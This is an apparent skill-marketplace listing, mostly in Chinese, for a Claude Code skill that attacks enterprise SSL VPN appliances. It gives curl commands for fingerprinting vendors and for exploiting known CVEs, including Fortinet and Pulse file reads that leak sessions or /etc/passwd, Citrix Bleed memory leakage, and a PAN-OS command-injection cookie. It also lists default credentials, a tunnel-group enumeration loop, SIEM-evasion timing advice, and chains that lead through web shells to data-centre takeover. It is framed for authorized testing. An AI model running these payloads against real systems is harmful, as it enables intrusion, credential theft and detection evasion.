mcpField
E
enterprise-vpn-attack

enterprise-vpn-attack

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 enterprise-vpn-attack

用于识别企业 SSL VPN 产品并检查其暴露 Web 接口的安全测试技能。内容包括厂商指纹识别、CVE 检查、SAML 配置审查,以及面向授权评估的谨慎凭据测试。

主要功能

  1. 01识别企业 VPN 厂商指纹
  2. 02检查所列 VPN CVE
  3. 03审查 SAML 元数据与配置
  4. 04提供认证与组枚举指引
  5. 05考虑锁定风险的默认凭据检查

适用场景

  1. 01根据发现的主机识别 VPN 产品
  2. 02检查授权 VPN 端点是否存在所列问题
  3. 03审查公开的 SAML 服务提供方元数据
  4. 04调查认证响应和组行为

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill enterprise-vpn-attack

安装后在 Claude Code 中输入/enterprise-vpn-attack确认已加载。

详细介绍

何时使用此技能

侦察发现以下情况时触发:

  • *.<client>.example/+CSCOE+/logon.html 或类似的 +CSCOE+ 路径 → Cisco ASA / AnyConnect
  • intranet.* / vpn.* / connect.* / webvpn.* / wc.* / remote.* 子域名
  • 端口 443 返回登录页面,且包含 Server: Apache,或横幅中含有 "AnyConnect"、"FortiGate"、"NetScaler"、"GlobalProtect"、"Pulse"、"Ivanti"
  • TCP 8443 / 4443 / 10443 / 8888(常见 VPN Web 管理端口)
  • HTTP 响应包含 Set-Cookie: webvpn=(Cisco)/ SVPNCOOKIE=(Fortinet)/ NSC_AAA=(Citrix)/ DSAuthSession=(Pulse)/ BIGipServer*(F5)

请勿用于:

  • 立足后进行内部横向移动(根据用户设定的边界,不在范围内)
  • VPN 客户端漏洞(属于不同的攻击类别)
  • IPsec / L2TP / OpenVPN(属于不同协议,并非 SSL VPN Web 技术栈)

厂商识别(指纹识别)

Cisco ASA / AnyConnect
curl --max-time 30 --connect-timeout 10 -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"

现代版本不会在横幅中披露 ASA 版本;需要根据 JS 文件路径推断或测试特定路径。

# Path-based version hints (older builds leaked builds in URLs)
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled
curl --max-time 30 --connect-timeout 10 -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint
Fortinet FortiGate / FortiOS
curl --max-time 30 --connect-timeout 10 -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"

版本:有时可从 /remote/info 泄露(旧版本),或从 /login?username= 的 302 响应中获取

Citrix NetScaler / ADC / Gateway
curl --max-time 30 --connect-timeout 10 -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"

# Version banner
curl --max-time 30 --connect-timeout 10 -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era
Palo Alto GlobalProtect
curl --max-time 30 --connect-timeout 10 -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"

# Version banner via login page
curl --max-time 30 --connect-timeout 10 -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl --max-time 30 --connect-timeout 10 -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'
Pulse Secure / Ivanti Connect Secure
curl --max-time 30 --connect-timeout 10 -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"

# Version
curl --max-time 30 --connect-timeout 10 -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'
SonicWall NetExtender / SMA
curl --max-time 30 --connect-timeout 10 -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"
F5 Big-IP / APM
curl --max-time 30 --connect-timeout 10 -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)

CVE 矩阵 — 未认证或认证绕过(2018-2026)

Cisco ASA / AnyConnect
CVE影响范围类型测试
CVE-2018-0296ASA 特定的 9.x 之前版本路径遍历 — 信息泄露(会话、配置)GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua
CVE-2020-3452特定补丁级别之前的 ASA、FTD路径遍历 — 文件读取GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua 及其变体
CVE-2023-20269特定 ASA、FTD 版本SSL VPN 认证绕过使用 /+webvpn+/index.html,对一组群组名称和有效凭据组合进行暴力破解
CVE-2024-20481RAVPN通过构造的握手导致 DoS红队测试中跳过 — 有干扰性
# Cisco CVE-2020-3452 — file read
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5

# Cisco CVE-2018-0296 — path traversal
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20

# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html
Fortinet FortiGate / FortiOS
CVE影响范围类型测试
CVE-2018-13379FortiOS 5.4-6.0路径遍历 — 读取 sslvpn_websession 文件GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
CVE-2022-42475FortiOS 特定的 7.x 版本堆溢出 — 未认证 RCE利用过程复杂;使用 nuclei 模板 CVE-2022-42475 进行测试
CVE-2023-27997(XORtigate)各种 FortiOS 版本堆溢出 — 未认证 RCE存在公开的 PoC;提供 nuclei 模板
CVE-2024-21762FortiOS 6.x-7.x越界写入 — 未认证 RCE公开 PoC;nuclei 模板 CVE-2024-21762
CVE-2024-55591FortiOS 7.0-7.4FortiOS Node.js WebSocket 管理接口认证绕过在管理接口端口上执行 GET /endpoint
# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable

# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT     username     password     (and others)
Citrix NetScaler / ADC / Gateway
CVE影响范围类型测试
CVE-2019-19781(Shitrix)ADC/Gateway 特定的 10.5-13.0 版本路径遍历 → 通过 XML 上传实现 RCEGET /vpn/../vpns/cfg/smb.conf
CVE-2022-27518配置了 SAML 的 ADC/Gateway未认证 RCE过程复杂;使用 nuclei 进行测试
CVE-2023-3519NetScaler ADC/Gateway 特定的 13.0-13.1 版本通过构造的 HTTP 请求实现未认证 RCE存在公开的 PoC
CVE-2023-4966(Citrix Bleed)NetScaler ADC/Gateway 13.0-14.1内存泄露 → 会话令牌窃取向 /oauth/idp/.well-known/openid-configuration 发送带有构造的 Host 标头的 POST 请求 — 较长的 Host 标头会触发响应中的内存泄露
# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump

# CVE-2019-19781 file read
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'
Palo Alto GlobalProtect
CVE影响范围类型测试
CVE-2024-3400启用了 GP 的 PAN-OS 10.2-11.1命令注入 — 未认证 RCE向 /ssl-vpn/login.esp 发送 POST 请求,并在 Cookie 标头中包含构造的 SESSID=../../../var/log/pan/test.txt
# CVE-2024-3400 detection
curl --max-time 30 --connect-timeout 10 -sk -X POST 'https://target/ssl-vpn/login.esp' \
  -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \
  --data 'jsessionid=test'
# Look for file-creation side-effect on test path — palo creates file with command output
Pulse Secure / Ivanti Connect Secure / Policy Secure
CVE影响范围类型测试
CVE-2019-11510Pulse Connect Secure 8.x-9.x任意文件读取GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/
CVE-2021-22893Pulse Connect Secure 9.x未经身份验证的 RCE复杂的多步骤操作;使用 nuclei 测试
CVE-2024-21887Ivanti Connect Secure 9.1-22.6Web 组件上的命令注入使用精心构造的请求体发送 POST /api/v1/totp/user-backup-code/
CVE-2023-46805Ivanti Connect Secure 9.1-22.6身份验证绕过与 21887 结合可完成完整攻击链
# CVE-2019-11510 — Pulse file read
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'
SonicWall
CVE影响范围类型测试
CVE-2021-20016SMA 100 系列的特定固件SQL 注入 — 未经身份验证有可用的 nuclei 模板
CVE-2024-40766特定 SonicOS 版本访问控制漏洞特定固件版本

SAML SP / IdP 配置错误(务必检查)

如今,大多数企业 VPN 都使用 SAML 进行 SSO。检查 SP 元数据:

# Cisco ASA
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50

# Fortinet
curl --max-time 30 --connect-timeout 10 -sk 'https://target/remote/saml/metadata' | head -50

# Citrix
curl --max-time 30 --connect-timeout 10 -sk 'https://target/saml/login' | head -30

查找:

  • AuthnRequestsSigned="false" → 查看 hunt-saml,了解 XSW 利用方式
  • WantAssertionsSigned="false" → 风险严重;可能重放断言
  • 受众限制验证缺失
  • 公开的 SP 签名证书(用于重放 / 伪造攻击)

默认凭据(谨慎测试 — 有账户锁定风险)

厂商用户名密码备注
Cisco ASAadmincisco出厂默认值;生产环境中很少见
Cisco ASAenable_15cisco控制台
Fortinetadmin(空)出厂默认值
Citrix NetScalernsrootnsroot出厂默认值
Citrix NetScalernsroot(序列号)较新的固件
Palo Altoadminadmin出厂默认值
Pulse Secureadminpassword出厂默认值;经 CIS 加固后会更改
F5 Big-IProotdefault出厂默认值
F5 Big-IPadminadmin常见的备用凭据
SonicWalladminpassword出厂默认值

⚠ 大多数企业目标都已更改这些凭据。每个账户最多尝试 2 次,以避免账户锁定。


组 / 隧道组枚举(Cisco 专用)

有时无需身份验证即可枚举 Cisco ASA AAA 组。

# Tunnel group enumeration via timing
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
  ms=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w "%{time_total}" \
    -X POST "https://target/+webvpn+/index.html" \
    -d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
  echo "$group: ${ms}s"
done
# Larger differential timing = group exists; valid groups respond slower in some builds

AAA 后端识别

身份验证失败后,查看错误响应详情:

响应中的模式AAA 后端
a0=2(Cisco)未知用户
a0=3(Cisco)密码错误
a0=4(Cisco)登录受限
a0=12(Cisco)账户已锁定
a0=115(Cisco)通用身份验证失败(LDAP/RADIUS/AD 层错误)
响应正文中出现 AADSTS由 Entra(SAML)提供支持
Authentication failed via RADIUSRADIUS 后端
Invalid username or password(通用)LDAP 或本地数据库

如果流程中出现 SAML/Entra,请转向 m365-entra-attack 技能,了解凭据喷洒策略。


常见探测顺序(5 分钟指纹识别)

TARGET="vpn.target.com"

# Cisco
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html

# Fortinet
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/remote/login" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt

# Citrix
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt
HOST=$(python3 -c "print('A' * 24812)")
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt
wc -c /tmp/citrix_bleed.txt

# Palo Alto
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3

# Pulse / Ivanti
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt

用于快速分流的 Nuclei 模板

Nuclei 为上述大多数 CVE 提供了高质量模板。使用单条命令进行扫描:

nuclei -u https://target/ \
  -tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \
  -severity high,critical -rl 5

添加 -as(自动扫描)可扩大漏洞覆盖范围,但速度会更慢。


操作规范

  • 去除 Banner(不披露版本号)的服务器具备良好的纵深防御能力 — 即使未发现 CVE,也应记录为正面发现
  • 控制请求速率 — 这些设备通常会将每个请求都记录到 SIEM。保持耐心,采用带抖动的请求间隔。
  • SAML 元数据无需身份验证即可获取 — 获取它。这是有关 AAA 后端的情报。
  • 未经明确许可,不要在红队行动中运行未授权 RCE PoC — 意外导致 VPN 集中器瘫痪,对客户而言是灾难性的。先进行仅检测测试,再经许可后升级。
  • 记录 AAA 后端识别结果 — 了解 ASA 使用的是 RADIUS 到本地数据库,还是 SAML 到 Entra,会改变后续攻击路径。

验证

运行此自测,确认 VPN 设备指纹识别功能正常:

  1. Cisco ASA 指纹识别 — 确认路径检测语法:
    curl --max-time 30 --connect-timeout 10 -skI "https://vpn.example.com/+CSCOE+/logon.html" -o /dev/null -w "HTTP %{http_code}
    

" 2>/dev/null && echo "(test probe sent)"


2. **Fortinet 路径探测** — 确认 FortiOS 路径语法:
```bash
curl --max-time 30 --connect-timeout 10 -skI "https://vpn.example.com/remote/login" -o /dev/null -w "HTTP %{http_code}
" 2>/dev/null && echo "(test probe sent)"
  1. CVE-2020-3452 探测语法 — 确认 Cisco 文件读取路径构造:

    echo "https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua" | grep -q "+CSCOE+" && echo "PASS: CVE path syntax correct" || echo "FAIL"
    
  2. CVE-2018-13379 探测语法 — 确认 Fortinet 路径遍历构造:

    echo "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" | grep -q "fgt_lang" && echo "PASS: Fortinet path syntax correct" || echo "FAIL"
    
  3. Citrix Bleed 探测语法 — 确认 Host 标头溢出模式:

    echo "POST /oauth/idp/.well-known/openid-configuration" | grep -q "openid-configuration" && echo "PASS: Citrix Bleed endpoint syntax correct" || echo "FAIL"
    
  4. SAML 元数据探测 — 确认元数据端点语法:

    echo "/+CSCOE+/saml/sp/metadata /remote/saml/metadata" | grep -q "saml" && echo "PASS: SAML metadata paths present" || echo "FAIL"
    

全部 6 项测试用于验证 VPN 指纹识别和 CVE 检测语法。


衔接相邻技能

  • m365-entra-attack — 当 AAA 后端为 Entra SAML 时;凭据喷洒策略同样适用
  • hunt-saml — 如果 SAML SP 配置错误,则检测 XSW / 签名剥离问题
  • mid-engagement-ir-detection — 设备会生成大量日志;留意交战过程中是否部署了 IPS 规则
  • redteam-mindset — 横幅被剥离 ≠“不存在漏洞”;继续通过行为指纹深入探查

注意事项

  • 不要仅凭某个 CVE 路径返回 404 就断定“已打补丁” — 补丁部署并不一致;每个厂商至少测试 3 个 CVE
  • 不要只相信版本横幅 — 设备厂商通常会回移修复,而不更改版本字符串
  • 不要在未限制速率的情况下运行耗费资源的 nuclei 扫描 — 这些设备属于关键基础设施;使用 -rl 5 或更低值
  • 不要一上来就尝试所有 CVE PoC 来识别指纹 — 先从非破坏性的 HEAD 和版本横幅探测开始
  • 不要跳过 SAML 元数据检查 — 即使设备已打补丁,SAML SP 配置错误本身也是一个攻击面
  • 未经明确授权,不要运行预认证 RCE PoC — 意外导致 VPN 集中器崩溃将造成灾难性后果。先进行仅检测的测试。
  • 不要只相信 HTTP 状态码 — 已打补丁的设备可能会在已知存在漏洞的路径上返回 200,但提供不同内容。将响应正文与基准进行对比。
  • 不要假定只有一个厂商 — 许多企业会运行多种 VPN 设备(Cisco + Citrix、Fortinet + Pulse)。先识别所有设备,再选择攻击路径。
  • 不要忽略 AAA 后端 — 了解 VPN 使用的是 RADIUS 到本地认证,还是 SAML 到 Entra,会彻底改变后续攻击路径。
  • 默认凭据存在账户锁定风险 — 大多数企业目标都已更改出厂密码。每个账户最多尝试 2 次。
  • VPN 设备会生成大量日志 — 每次探测都可能记录到 SIEM。请求之间应加入随机延迟;不要连续快速发送请求。

相关技能与攻击链

  • hunt-rce — 过去 24 个月中,每家主要 VPN 设备厂商(Pulse Secure、Fortinet、Citrix、Ivanti、Palo Alto)都曾发布过存在预认证路径遍历到 RCE 漏洞的产品。攻击链原语:VPN 设备 CVE(例如 Ivanti ICS CVE-2024-21887、Citrix Bleed CVE-2023-4966、Fortinet CVE-2024-21762)→ hunt-rce 预认证路径遍历 → 向 Web 根目录任意写入文件 → 请求该文件 → 获得 root 权限的 Web shell → 提取 VPN 配置和 LDAP 绑定凭据。
  • hunt-saml — 即使设备已完全打补丁,VPN SAML SP 配置错误仍然存在。攻击链原语:设备已针对最新 CVE 打补丁,但仍可访问 /saml/metadata → 对 IdP 进行指纹识别 → 使用 hunt-saml 对 IdP 发起 XSW 或注释注入攻击 → 伪造断言 → 无需密码/MFA 即可建立 VPN 会话。
  • vmware-vcenter-attack — 获得 VPN 初始立足点后,自然的下一步是转向 vCenter。攻击链原语:VPN Web shell → 从 VPN 设备配置中提取凭据(LDAP 绑定凭据、RADIUS 共享密钥)→ 在内部 vCenter 上重用凭据 → 如果范围允许,使用 vmware-vcenter-attack → 接管数据中心。
  • hunt-ntlm-info — 某些 VPN 设备会在管理路径上暴露匿名 NTLM。攻击链原语:捕获 VPN 管理门户的 NTLM Type-2 → 使用 hunt-ntlm-info 解码 AV_PAIR → 获取内部 AD 林名称 → 对同步租户使用 m365-entra-attack 发起 Entra 密码喷洒攻击。
  • mid-engagement-ir-detection + redteam-report-template — 利用 VPN 设备 CVE 会产生大量噪声;SOC 会迅速打补丁。攻击链原语:确认 CVE → 使用 mid-engagement-ir-detection 捕获基线 → 如果设备在测试期间更新,将打补丁后的状态作为第二项发现进行捕获 → 使用 triage-validation 处理两项发现 → 使用 redteam-report-template 编制报告,并明确说明关键基础设施背景。

评论

支持 Markdown